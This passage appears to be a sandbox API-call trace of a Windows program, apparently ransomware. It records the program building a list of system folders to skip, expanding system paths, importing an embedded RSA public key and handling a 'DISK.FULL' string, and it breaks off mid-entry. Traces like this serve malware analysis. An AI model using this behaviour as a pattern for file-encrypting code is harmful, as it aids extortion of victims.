[0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c798) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1f8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c750) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1e8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c708) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d208) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c6c0) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d218) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c678) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d228) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c630) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d238) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5e8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d248) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd75058) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd72850) returned 1 [0253.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dae0 [0253.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1f8, cbMultiByte=25, lpWideCharStr=0x28dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28db68 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dae0) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d248 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dae0 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28db68) returned 1 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28db68 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1b0, cbMultiByte=12, lpWideCharStr=0x28db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dbf0 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28db68) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d238 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28db68 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dbf0) returned 1 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dbf0 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c168, cbMultiByte=8, lpWideCharStr=0x28dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dc78 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dbf0) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d228 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dbf0 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dc78) returned 1 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dc78 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c120, cbMultiByte=6, lpWideCharStr=0x28dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dd00 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dc78) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d218 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dc78 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dd00) returned 1 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dd00 [0253.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c240, cbMultiByte=11, lpWideCharStr=0x28dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dd88 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dd00) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28dd00 [0253.118] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d208 [0253.118] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28de28 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dd88) returned 1 [0253.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28deb0 [0253.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c0d8, cbMultiByte=7, lpWideCharStr=0x28deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28df38 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28deb0) returned 1 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1e8 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28deb0 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28df38) returned 1 [0253.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28df38 [0253.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c288, cbMultiByte=11, lpWideCharStr=0x28df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dfc0 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28df38) returned 1 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1f8 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28df38 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dfc0) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d298) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc08) returned 1 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd72850 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.119] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.119] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd72850) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd72850 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d618 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2e8 [0253.120] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5e8 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.120] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d298) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5e8) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2e8) returned 1 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d618) returned 1 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d618 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2e8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5e8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0253.121] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.121] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.122] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.122] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xd72850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0253.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd72850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0253.123] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xd72850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0253.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd72850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0253.123] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xd72850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0253.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd72850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0253.123] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xd72850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0253.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xd72850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0253.123] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x15f984, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x15f984, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0253.123] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xd77cf8, pcbBinary=0x15f984, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xd77cf8, pcbBinary=0x15f984, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0253.124] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd77cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x15f984 | out: pvStructInfo=0x0, pcbStructInfo=0x15f984) returned 1 [0253.128] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xd77cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xd77f40, pcbStructInfo=0x15f984 | out: pvStructInfo=0xd77f40, pcbStructInfo=0x15f984) returned 1 [0253.128] CryptImportPublicKeyInfo (in: hCryptProv=0x62e540, dwCertEncodingType=0x10001, pInfo=0xd77f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xd77f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xd77f78*, PublicKey.cUnusedBits=0x0), phKey=0x15f988 | out: phKey=0x15f988*=0x62dd00) returned 1 [0253.129] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd77f40) returned 1 [0253.129] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd77cf8) returned 1 [0253.129] ReleaseMutex (hMutex=0xa0) returned 1 [0253.129] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd75058) returned 1 [0253.129] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd75058 [0253.129] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c900 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c900) returned 1 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd75058) returned 1 [0253.130] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd75058 [0253.130] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c900 [0253.130] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c900) returned 1 [0253.130] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c900 [0253.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0253.130] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28e1e0 [0253.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c900, cbMultiByte=9, lpWideCharStr=0x28e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0253.130] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 